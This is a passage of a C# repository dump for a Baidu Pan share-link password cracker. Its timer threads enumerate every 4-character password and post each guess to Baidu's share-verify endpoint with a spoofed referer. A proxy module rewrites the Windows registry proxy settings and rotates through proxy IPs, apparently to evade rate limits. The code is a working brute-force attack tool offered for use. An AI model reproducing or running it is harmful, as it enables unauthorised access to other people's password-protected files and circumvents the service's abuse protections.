Char2Hash(str[3]) * 1296;\r\n            ret += Char2Hash(str[4]) * 36;\r\n            ret += Char2Hash(str[5]);\r\n            ret += 100000;//防止前导零\r\n            return ret;\r\n        }\r\n\r\n        #endregion 只支持6位 By zgcwkj\r\n\r\n        private static int Char2Hash(char c)\r\n        {\r\n            if (c >= '0' && c <= '9') return c - '0';\r\n            else return c - 'a' + 10;\r\n        }\r\n\r\n        private static char Hash2Char(int hash)\r\n        {\r\n            if (hash >= 0 && hash <= 9) return (char)('0' + hash);\r\n            else return (char)('a' + hash - 10);\r\n        }\r\n\r\n        private static string reverse(string str)\r\n        {\r\n            char[] arr = str.ToCharArray();\r\n            Array.Reverse(arr);\r\n            return new string(arr);\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/HttpHelp.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 网络请求帮助类\r\n    /// </summary>\r\n    public static class HttpHelp\r\n    {\r\n        public static CookieContainer cookie = new CookieContainer();\r\n\r\n        #region Get请求\r\n\r\n        /// <summary>\r\n        /// 请求路径\r\n        /// </summary>\r\n        /// <param name=\"Url\">请求的路径</param>\r\n        /// <returns>返回请求的网页数据</returns>\r\n        public static string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n            request.CookieContainer = cookie;\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                throw e;\r\n            }\r\n        }\r\n\r\n        #endregion Get请求\r\n\r\n        #region Post请求\r\n\r\n        /// <summary>\r\n        /// 提交数据\r\n        /// </summary>\r\n        /// <param name=\"Url\">提交的路径</param>\r\n        /// <param name=\"Data\">提交的数据</param>\r\n        /// <returns>返回结果</returns>\r\n        public static string HttpPost(string Url, string Data)\r\n        {\r\n            try\r\n            {\r\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\r\n                request.Referer = Url;\r\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\r\n                request.CookieContainer = cookie;\r\n                request.Method = \"POST\";\r\n\r\n                Stream myRequestStream = request.GetRequestStream();\r\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\r\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\r\n\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\r\n\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n\r\n                return retString;\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                throw ex;\r\n            }\r\n        }\r\n\r\n        #endregion Post请求\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/HttpProxy.cs",
    "content": "﻿using Microsoft.Win32;\r\nusing System;\r\nusing System.IO;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public class HttpProxy\r\n    {\r\n        #region 启动IP代理服务\r\n\r\n        /// <summary>\r\n        /// 启动IP代理服务\r\n        /// </summary>\r\n        /// <param name=\"bout\">次/回</param>\r\n        /// <returns></returns>\r\n        public bool startUp(int bout)\r\n        {\r\n            StaticClass.proxys = File.ReadAllText(StaticClass.proxy).Replace(\"\\r\", \"\").Split('\\n');\r\n\r\n            //关闭代理服务\r\n            if (GetSwitchState()) SwitchOff();\r\n\r\n            //获取电脑之前记录的代理IP\r\n            string ip = GetProxyIp();\r\n            //通过API获取代理数据\r\n            try\r\n            {\r\n                ip = StaticClass.proxys[bout];\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                string str = e.Message;\r\n            }\r\n            //设置代理IP\r\n            SwitchOn(ip);\r\n\r\n            //验证代理IP能否使用\r\n            try\r\n            {\r\n                HttpHelp.HttpGet(\"https://blog.zgcwkj.top\");\r\n                return true;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                string str = e.Message;\r\n                SwitchOff();\r\n                if (StaticClass.proxys.Length - 1 >= bout + 1)\r\n                {\r\n                    startUp(bout + 1);\r\n                }\r\n            }\r\n            return false;\r\n        }\r\n\r\n        #endregion 启动IP代理服务\r\n\r\n        #region 通过注册表修改代理服务\r\n\r\n        //注册表位置\r\n        private string reg_path = @\"Microsoft\\Windows\\CurrentVersion\\Internet Settings\";\r\n\r\n        //Key名称\r\n        private string key_name = \"ProxyServer\";\r\n\r\n        //switch名称\r\n        private string switch_name = \"ProxyEnable\";\r\n\r\n        //启动代理\r\n        public void SwitchOn(string ip_port)\r\n        {\r\n            SetRegValue(reg_path, key_name, ip_port);\r\n            SetRegValue(reg_path, switch_name, 1);\r\n        }\r\n\r\n        //停止代理\r\n        public void SwitchOff()\r\n        {\r\n            SetRegValue(reg_path, switch_name, 0);\r\n        }\r\n\r\n        //获取代理状态\r\n        public bool GetSwitchState()\r\n        {\r\n            return GetRegValue(reg_path, switch_name) == \"1\";\r\n        }\r\n\r\n        //获取代理IP\r\n        public string GetProxyIp()\r\n        {\r\n            return GetRegValue(reg_path, key_name);\r\n        }\r\n\r\n        private void SetRegValue<T>(string path, string name, T value)\r\n        {\r\n            RegistryKey expr_05 = Registry.CurrentUser;\r\n            RegistryKey expr_17 = expr_05.OpenSubKey(@\"Software\\\" + path, true);\r\n            expr_17.SetValue(name, value);\r\n            expr_17.Close();\r\n            expr_05.Close();\r\n        }\r\n\r\n        private string GetRegValue(string path, string name)\r\n        {\r\n            string result = string.Empty;\r\n            RegistryKey currentUser = Registry.CurrentUser;\r\n            RegistryKey registryKey = currentUser.OpenSubKey(\"Software\\\\\" + path);\r\n            if (registryKey == null)\r\n            {\r\n                return null;\r\n            }\r\n            object value = registryKey.GetValue(name);\r\n            if (value != null)\r\n            {\r\n                result = value.ToString();\r\n            }\r\n            registryKey.Close();\r\n            currentUser.Close();\r\n            return result;\r\n        }\r\n\r\n        #endregion 通过注册表修改代理服务\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/HttpTest.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// Http测试类(百度网盘分享连接密码测试)\r\n    /// </summary>\r\n    public class HttpTest\r\n    {\r\n        private string info = \"\";//唯一识别文件的值\r\n\r\n        /// <summary>\r\n        /// 实例测试类\r\n        /// </summary>\r\n        /// <param name=\"url\">访问的链接</param>\r\n        public HttpTest(string url)\r\n        {\r\n            info = \"surl=\" + url.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n        }\r\n\r\n        /// <summary>\r\n        /// 访问网页\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public string Get()\r\n        {\r\n            return HttpGet(\"https://pan.baidu.com/share/init?\" + info);\r\n        }\r\n\r\n        /// <summary>\r\n        /// 提交密码\r\n        /// </summary>\r\n        /// <param name=\"pwd\">密码</param>\r\n        /// <returns></returns>\r\n        public string Post(string pwd)\r\n        {\r\n            DateTime time = DateTime.Now;\r\n            DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));\r\n            string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();\r\n\r\n            string url = \"https://pan.baidu.com/share/verify?\" + info + \"&t=\" + ts.ToString() + \"&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==\";\r\n            string data = \"pwd=\" + pwd + \"&vcode=&vcode_str=\";\r\n\r\n            return HttpPost(url, data);\r\n        }\r\n\r\n        #region 网络请求\r\n\r\n        private CookieContainer cookie = new CookieContainer();\r\n\r\n        #region Get请求\r\n\r\n        /// <summary>\r\n        /// 请求路径\r\n        /// </summary>\r\n        /// <param name=\"Url\">请求的路径</param>\r\n        /// <returns>返回请求的网页数据</returns>\r\n        private string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n            request.CookieContainer = cookie;\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n\r\n        #endregion Get请求\r\n\r\n        #region Post请求\r\n\r\n        /// <summary>\r\n        /// 提交数据\r\n        /// </summary>\r\n        /// <param name=\"Url\">提交的路径</param>\r\n        /// <param name=\"Data\">提交的数据</param>\r\n        /// <returns>返回结果</returns>\r\n        private string HttpPost(string Url, string Data)\r\n        {\r\n            try\r\n            {\r\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\r\n                request.Referer = \"https://pan.baidu.com/share/init?\" + info;\r\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\r\n                request.CookieContainer = cookie;\r\n                request.Method = \"POST\";\r\n\r\n                Stream myRequestStream = request.GetRequestStream();\r\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\r\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\r\n\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\r\n\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n\r\n                return retString;\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                return ex.Message;\r\n            }\r\n        }\r\n\r\n        #endregion Post请求\r\n\r\n        #endregion 网络请求\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/HttpThread.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Timers;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public class HttpThread\r\n    {\r\n        private Main myMain;//主窗体\r\n        private int StartValue = 0;//基值\r\n        private int NumberValue = 0;//剩余次数\r\n        private Timer timer;//线程\r\n        private string ThreadID;//线程ID\r\n\r\n        /// <summary>\r\n        /// http请求线程类\r\n        /// </summary>\r\n        /// <param name=\"main\">主窗体</param>\r\n        /// <param name=\"name\">线程名称</param>\r\n        /// <param name=\"start\">开始值</param>\r\n        /// <param name=\"number\">结束值</param>\r\n        /// <param name=\"interval\">线程速度</param>\r\n        public HttpThread(Main main, string name, int start, int number, int interval)\r\n        {\r\n            myMain = main;\r\n            StartValue = start;\r\n            NumberValue = number;\r\n            ThreadID = StaticClass.file + \"/\" + name;\r\n            timer = new Timer(interval);\r\n        }\r\n\r\n        /// <summary>\r\n        /// 启动线程\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public HttpThread Start()\r\n        {\r\n            #region 载入历史参数\r\n\r\n            try\r\n            {\r\n                if (File.Exists(ThreadID + \".ini\"))\r\n                {\r\n                    string _start = File.ReadAllText(ThreadID + \".ini\");\r\n                    if (_start != \"\") StartValue = Convert.ToInt32(_start);\r\n                }\r\n            }\r\n            catch { }\r\n\r\n            #endregion 载入历史参数\r\n\r\n            timer.Elapsed += new ElapsedEventHandler(_Timer);\r\n            timer.Start();\r\n            return this;\r\n        }\r\n\r\n        private void _Timer(object sender, ElapsedEventArgs e)\r\n        {\r\n            Timer timer = sender as Timer;\r\n            if (NumberValue < StartValue || StaticClass.status)\r\n            {\r\n                #region 保存历史参数\r\n\r\n                try\r\n                {\r\n                    File.Delete(ThreadID + \".ini\");\r\n                    File.AppendAllText(ThreadID + \".ini\", StartValue.ToString());\r\n                }\r\n                catch { }\r\n\r\n                #endregion 保存历史参数\r\n\r\n                timer.Stop();\r\n            }\r\n            else\r\n            {\r\n                string password = Hash.HashTo4Str(StartValue);\r\n                HttpTest httptest = new HttpTest(StaticClass.url);\r\n                myMain.ModifyStr(httptest.Post(password), password);\r\n                StartValue = StartValue + 1;\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Main.Designer.cs",
    "content": "﻿namespace zgcwkj\r\n{\r\n    partial class Main\r\n    {\r\n        /// <summary>\r\n        /// 必需的设计器变量。\r\n        /// </summary>\r\n        private System.ComponentModel.IContainer components = null;\r\n\r\n        /// <summary>\r\n        /// 清理所有正在使用的资源。\r\n        /// </summary>\r\n        /// <param name=\"disposing\">如果应释放托管资源，为 true；否则为 false。</param>\r\n        protected override void Dispose(bool disposing)\r\n        {\r\n            if (disposing && (components != null))\r\n            {\r\n                components.Dispose();\r\n            }\r\n            base.Dispose(disposing);\r\n        }\r\n\r\n        #region Windows 窗体设计器生成的代码\r\n\r\n        /// <summary>\r\n        /// 设计器支持所需的方法 - 不要修改\r\n        /// 使用代码编辑器修改此方法的内容。\r\n        /// </summary>\r\n        private void InitializeComponent()\r\n        {\r\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));\r\n            this.txt_url = new System.Windows.Forms.Label();\r\n            this.text_url = new System.Windows.Forms.TextBox();\r\n            this.gb_1 = new System.Windows.Forms.GroupBox();\r\n            this.text_zxsd = new System.Windows.Forms.TextBox();\r\n            this.text_xczs = new System.Windows.Forms.TextBox();\r\n            this.text_jsd = new System.Windows.Forms.TextBox();\r\n            this.text_ksd = new System.Windows.Forms.TextBox();\r\n            this.txt_zxsd = new System.Windows.Forms.Label();\r\n            this.txt_xczs = new System.Windows.Forms.Label();\r\n            this.txt_jsd = new System.Windows.Forms.Label();\r\n            this.txt_ksd = new System.Windows.Forms.Label();\r\n            this.txt_ts = new System.Windows.Forms.Label();\r\n            this.btn_start = new System.Windows.Forms.Button();\r\n            this.fBD = new System.Windows.Forms.FolderBrowserDialog();\r\n            this.btn_status = new System.Windows.Forms.Button();\r\n            this.btn_net = new System.Windows.Forms.Button();\r\n            this.cB_ktwo = new System.Windows.Forms.CheckBox();\r\n            this.cB_mxwxz = new System.Windows.Forms.CheckBox();\r\n            this.CB_zgcwkj = new System.Windows.Forms.CheckBox();\r\n            this.cB_ypsuperkey = new System.Windows.Forms.CheckBox();\r\n            this.gb_1.SuspendLayout();\r\n            this.SuspendLayout();\r\n            // \r\n            // txt_url\r\n            // \r\n            this.txt_url.AutoSize = true;\r\n            this.txt_url.Location = new System.Drawing.Point(12, 14);\r\n            this.txt_url.Name = \"txt_url\";\r\n            this.txt_url.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_url.TabIndex = 0;\r\n            this.txt_url.Text = \"目标地址：\";\r\n            // \r\n            // text_url\r\n            // \r\n            this.text_url.Location = new System.Drawing.Point(83, 10);\r\n            this.text_url.Name = \"text_url\";\r\n            this.text_url.Size = new System.Drawing.Size(389, 21);\r\n            this.text_url.TabIndex = 1;\r\n            // \r\n            // gb_1\r\n            // \r\n            this.gb_1.Controls.Add(this.text_zxsd);\r\n            this.gb_1.Controls.Add(this.text_xczs);\r\n            this.gb_1.Controls.Add(this.text_jsd);\r\n            this.gb_1.Controls.Add(this.text_ksd);\r\n            this.gb_1.Controls.Add(this.txt_zxsd);\r\n            this.gb_1.Controls.Add(this.txt_xczs);\r\n            this.gb_1.Controls.Add(this.txt_jsd);\r\n            this.gb_1.Controls.Add(this.txt_ksd);\r\n            this.gb_1.Location = new System.Drawing.Point(12, 37);\r\n            this.gb_1.Name = \"gb_1\";\r\n            this.gb_1.Size = new System.Drawing.Size(460, 73);\r\n            this.gb_1.TabIndex = 2;\r\n            this.gb_1.TabStop = false;\r\n            this.gb_1.Text = \"相关配置\";\r\n            // \r\n            // text_zxsd\r\n            // \r\n            this.text_zxsd.Location = new System.Drawing.Point(321, 17);\r\n            this.text_zxsd.MaxLength = 4;\r\n            this.text_zxsd.Name = \"text_zxsd\";\r\n            this.text_zxsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_zxsd.TabIndex = 5;\r\n            this.text_zxsd.Text = \"200\";\r\n            this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_xczs\r\n            // \r\n            this.text_xczs.Location = new System.Drawing.Point(93, 17);\r\n            this.text_xczs.MaxLength = 4;\r\n            this.text_xczs.Name = \"text_xczs\";\r\n            this.text_xczs.Size = new System.Drawing.Size(131, 21);\r\n            this.text_xczs.TabIndex = 4;\r\n            this.text_xczs.Text = \"100\";\r\n            this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_jsd\r\n            // \r\n            this.text_jsd.Location = new System.Drawing.Point(321, 43);\r\n            this.text_jsd.MaxLength = 4;\r\n            this.text_jsd.Name = \"text_jsd\";\r\n            this.text_jsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_jsd.TabIndex = 7;\r\n            this.text_jsd.Text = \"zzzz\";\r\n            // \r\n            // text_ksd\r\n            // \r\n            this.text_ksd.Location = new System.Drawing.Point(93, 43);\r\n            this.text_ksd.MaxLength = 4;\r\n            this.text_ksd.Name = \"text_ksd\";\r\n            this.text_ksd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_ksd.TabIndex = 6;\r\n            this.text_ksd.Text = \"0000\";\r\n            // \r\n            // txt_zxsd\r\n            // \r\n            this.txt_zxsd.AutoSize = true;\r\n            this.txt_zxsd.Location = new System.Drawing.Point(232, 20);\r\n            this.txt_zxsd.Name = \"txt_zxsd\";\r\n            this.txt_zxsd.Size = new System.Drawing.Size(89, 12);\r\n            this.txt_zxsd.TabIndex = 1;\r\n            this.txt_zxsd.Text = \"线程执行速度：\";\r\n            // \r\n            // txt_xczs\r\n            // \r\n            this.txt_xczs.AutoSize = true;\r\n            this.txt_xczs.Location = new System.Drawing.Point(10, 20);\r\n            this.txt_xczs.Name = \"txt_xczs\";\r\n            this.txt_xczs.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_xczs.TabIndex = 0;\r\n            this.txt_xczs.Text = \"线程总数：\";\r\n            // \r\n            // txt_jsd\r\n            // \r\n            this.txt_jsd.AutoSize = true;\r\n            this.txt_jsd.Location = new System.Drawing.Point(232, 46);\r\n            this.txt_jsd.Name = \"txt_jsd\";\r\n            this.txt_jsd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_jsd.TabIndex = 3;\r\n            this.txt_jsd.Text = \"密码结束点：\";\r\n            // \r\n            // txt_ksd\r\n            // \r\n            this.txt_ksd.AutoSize = true;\r\n            this.txt_ksd.Location = new System.Drawing.Point(10, 46);\r\n            this.txt_ksd.Name = \"txt_ksd\";\r\n            this.txt_ksd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_ksd.TabIndex = 2;\r\n            this.txt_ksd.Text = \"密码开始点：\";\r\n            // \r\n            // txt_ts\r\n            // \r\n            this.txt_ts.ForeColor = System.Drawing.Color.Red;\r\n            this.txt_ts.Location = new System.Drawing.Point(12, 163);\r\n            this.txt_ts.Name = \"txt_ts\";\r\n            this.txt_ts.Size = new System.Drawing.Size(460, 45);\r\n            this.txt_ts.TabIndex = 8;\r\n            this.txt_ts.Text = \"程序：百度网盘分享文件密码分析器 V 1.8.1.0\\r\\n\\r\\n开源地址：https://github.com/zgcwkj/TestBaiduPassword\";\r\n            this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);\r\n            // \r\n            // btn_start\r\n            // \r\n            this.btn_start.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_start.Location = new System.Drawing.Point(12, 113);\r\n            this.btn_start.Name = \"btn_start\";\r\n            this.btn_start.Size = new System.Drawing.Size(234, 44);\r\n            this.btn_start.TabIndex = 3;\r\n            this.btn_start.Text = \"打开/生成 解决方案\";\r\n            this.btn_start.UseVisualStyleBackColor = true;\r\n            this.btn_start.Click += new System.EventHandler(this.btn_start_Click);\r\n            // \r\n            // btn_status\r\n            // \r\n            this.btn_status.Enabled = false;\r\n            this.btn_status.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_status.Location = new System.Drawing.Point(252, 113);\r\n            this.btn_status.Name = \"btn_status\";\r\n            this.btn_status.Size = new System.Drawing.Size(94, 44);\r\n            this.btn_status.TabIndex = 4;\r\n            this.btn_status.Text = \"启动\";\r\n            this.btn_status.UseVisualStyleBackColor = true;\r\n            this.btn_status.Click += new System.EventHandler(this.btn_status_Click);\r\n            // \r\n            // btn_net\r\n            // \r\n            this.btn_net.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));\r\n            this.btn_net.Location = new System.Drawing.Point(364, 113);\r\n            this.btn_net.Name = \"btn_net\";\r\n            this.btn_net.Size = new System.Drawing.Size(108, 44);\r\n            this.btn_net.TabIndex = 5;\r\n            this.btn_net.Text = \"联网查密\";\r\n            this.btn_net.UseVisualStyleBackColor = true;\r\n            this.btn_net.Click += new System.EventHandler(this.btn_net_Click);\r\n            // \r\n            // cB_ktwo\r\n            // \r\n            this.cB_ktwo.AutoSize = true;\r\n            this.cB_ktwo.Location = new System.Drawing.Point(263, 216);\r\n            this.cB_ktwo.Name = \"cB_ktwo\";\r\n            this.cB_ktwo.Size = new System.Drawing.Size(192, 16);\r\n            this.cB_ktwo.TabIndex = 10;\r\n            this.cB_ktwo.Text = \"使用 kTWO 提供的自动代理服务\";\r\n            this.cB_ktwo.UseVisualStyleBackColor = true;\r\n            this.cB_ktwo.CheckedChanged += new System.EventHandler(this.cB_ktwo_CheckedChanged);\r\n            // \r\n            // cB_mxwxz\r\n            // \r\n            this.cB_mxwxz.AutoSize = true;\r\n            this.cB_mxwxz.Checked = true;\r\n            this.cB_mxwxz.CheckState = System.Windows.Forms.CheckState.Checked;\r\n            this.cB_mxwxz.Location = new System.Drawing.Point(10, 216);\r\n            this.cB_mxwxz.Name = \"cB_mxwxz\";\r\n            this.cB_mxwxz.Size = new System.Drawing.Size(240, 16);\r\n            this.cB_mxwxz.TabIndex = 10;\r\n            this.cB_mxwxz.Text = \"使用 MXWXZ 的数据提交和哈希排序 方案\";\r\n            this.cB_mxwxz.UseVisualStyleBackColor = true;\r\n            // \r\n            // CB_zgcwkj\r\n            // \r\n            this.CB_zgcwkj.AutoSize = true;\r\n            this.CB_zgcwkj.Checked = true;\r\n            this.CB_zgcwkj.CheckState = System.Windows.Forms.CheckState.Checked;\r\n            this.CB_zgcwkj.Enabled = false;\r\n            this.CB_zgcwkj.Location = new System.Drawing.Point(10, 243);\r\n            this.CB_zgcwkj.Name = \"CB_zgcwkj\";\r\n            this.CB_zgcwkj.Size = new System.Drawing.Size(210, 16);\r\n            this.CB_zgcwkj.TabIndex = 11;\r\n            this.CB_zgcwkj.Text = \"使用 zgcwkj 提供的多线程等 方案\";\r\n            this.CB_zgcwkj.UseVisualStyleBackColor = true;\r\n            // \r\n            // cB_ypsuperkey\r\n            // \r\n            this.cB_ypsuperkey.AutoSize = true;\r\n            this.cB_ypsuperkey.Checked = true;\r\n            this.cB_ypsuperkey.CheckState = System.Windows.Forms.CheckState.Checked;\r\n            this.cB_ypsuperkey.Location = new System.Drawing.Point(263, 243);\r\n            this.cB_ypsuperkey.Name = \"cB_ypsuperkey\";\r\n            this.cB_ypsuperkey.Size = new System.Drawing.Size(216, 16);\r\n            this.cB_ypsuperkey.TabIndex = 12;\r\n            this.cB_ypsuperkey.Text = \"使用 云盘万能钥匙 提供放接口服务\";\r\n            this.cB_ypsuperkey.UseVisualStyleBackColor = true;\r\n            // \r\n            // Main\r\n            // \r\n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\r\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\r\n            this.ClientSize = new System.Drawing.Size(484, 241);\r\n            this.Controls.Add(this.cB_ypsuperkey);\r\n            this.Controls.Add(this.CB_zgcwkj);\r\n            this.Controls.Add(this.cB_mxwxz);\r\n            this.Controls.Add(this.cB_ktwo);\r\n            this.Controls.Add(this.btn_net);\r\n            this.Controls.Add(this.btn_status);\r\n            this.Controls.Add(this.txt_ts);\r\n            this.Controls.Add(this.gb_1);\r\n            this.Controls.Add(this.text_url);\r\n            this.Controls.Add(this.txt_url);\r\n            this.Controls.Add(this.btn_start);\r\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\r\n            this.MaximizeBox = false;\r\n            this.MaximumSize = new System.Drawing.Size(500, 300);\r\n            this.MinimizeBox = false;\r\n            this.MinimumSize = new System.Drawing.Size(500, 280);\r\n            this.Name = \"Main\";\r\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\r\n            this.Text = \"百度网盘分享文件密码分析器\";\r\n            this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Main_FormClosed);\r\n            this.gb_1.ResumeLayout(false);\r\n            this.gb_1.PerformLayout();\r\n            this.ResumeLayout(false);\r\n            this.PerformLayout();\r\n\r\n        }\r\n\r\n        #endregion\r\n        private System.Windows.Forms.Label txt_url;\r\n        private System.Windows.Forms.TextBox text_url;\r\n        private System.Windows.Forms.GroupBox gb_1;\r\n        private System.Windows.Forms.Label txt_ksd;\r\n        private System.Windows.Forms.Label txt_jsd;\r\n        private System.Windows.Forms.TextBox text_jsd;\r\n        private System.Windows.Forms.TextBox text_ksd;\r\n        private System.Windows.Forms.TextBox text_zxsd;\r\n        private System.Windows.Forms.TextBox text_xczs;\r\n        private System.Windows.Forms.Label txt_zxsd;\r\n        private System.Windows.Forms.Label txt_xczs;\r\n        private System.Windows.Forms.Label txt_ts;\r\n        private System.Windows.Forms.Button btn_start;\r\n        private System.Windows.Forms.FolderBrowserDialog fBD;\r\n        private System.Windows.Forms.Button btn_status;\r\n        private System.Windows.Forms.Button btn_net;\r\n        private System.Windows.Forms.CheckBox cB_ktwo;\r\n        private System.Windows.Forms.CheckBox cB_mxwxz;\r\n        private System.Windows.Forms.CheckBox CB_zgcwkj;\r\n        private System.Windows.Forms.CheckBox cB_ypsuperkey;\r\n    }\r\n}\r\n\r\n"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Main.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Text.RegularExpressions;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public partial class Main : Form\r\n    {\r\n        public Main()\r\n        {\r\n            InitializeComponent();\r\n        }\r\n\r\n        /// <summary>\r\n        /// 解决方案\r\n        /// </summary>\r\n        private void btn_start_Click(object sender, EventArgs e)\r\n        {\r\n            if (fBD.ShowDialog() == DialogResult.OK)\r\n            {\r\n                #region 防止选择非空文件夹或者不是项目的文件\r\n\r\n                //把选择的路径赋值给静态变量\r\n                StaticClass.file = fBD.SelectedPath;\r\n                //把配置文件的路径赋值给静态变量\r\n                StaticClass.config = fBD.SelectedPath + \"\\\\Configuration.ini\";\r\n                //把代理文件的路径赋值给静态变量\r\n                StaticClass.proxy = fBD.SelectedPath + \"\\\\proxy.ini\";\r\n                //获取路径下所有文件\r\n                string[] files = Directory.GetFiles(StaticClass.file);\r\n                //拒绝选择有文件的文件夹\r\n                if (files.Length > 0)\r\n                {\r\n                    if (File.Exists(StaticClass.config))\r\n                    {\r\n                        string[] str = File.ReadAllText(StaticClass.config).Split('∆');\r\n                        text_url.Text = str[0];\r\n                        text_xczs.Text = str[1];\r\n                        text_zxsd.Text = str[2];\r\n                    }\r\n                    else\r\n                    {\r\n                        MessageBox.Show(\"请务必选择空的文件夹\");\r\n                        return;\r\n                    }\r\n                }\r\n\r\n                #endregion 防止选择非空文件夹或者不是项目的文件\r\n\r\n                #region 防止空文本也执行\r\n\r\n                if (text_url.Text.Trim() == \"\" || !text_url.Text.Contains(\"pan.baidu\")) { MessageBox.Show(\"请输入百度云盘链接\"); return; }\r\n                if (text_xczs.Text == \"\") { MessageBox.Show(\"线程总数错误\"); return; }\r\n                if (text_zxsd.Text == \"\") { MessageBox.Show(\"线程执行速度错误\"); return; }\r\n                if (text_ksd.Text.Length != 4) { MessageBox.Show(\"密码开始点错误\"); return; }\r\n                if (text_jsd.Text.Length != 4) { MessageBox.Show(\"密码结束点错误\"); return; }\r\n\r\n                #endregion 防止空文本也执行\r\n\r\n                #region 生成配置文件\r\n\r\n                if (!File.Exists(StaticClass.config))\r\n                {\r\n                    string Configuration;\r\n                    try\r\n                    {\r\n                        Configuration = File.ReadAllText(StaticClass.config);\r\n                        string[] str = 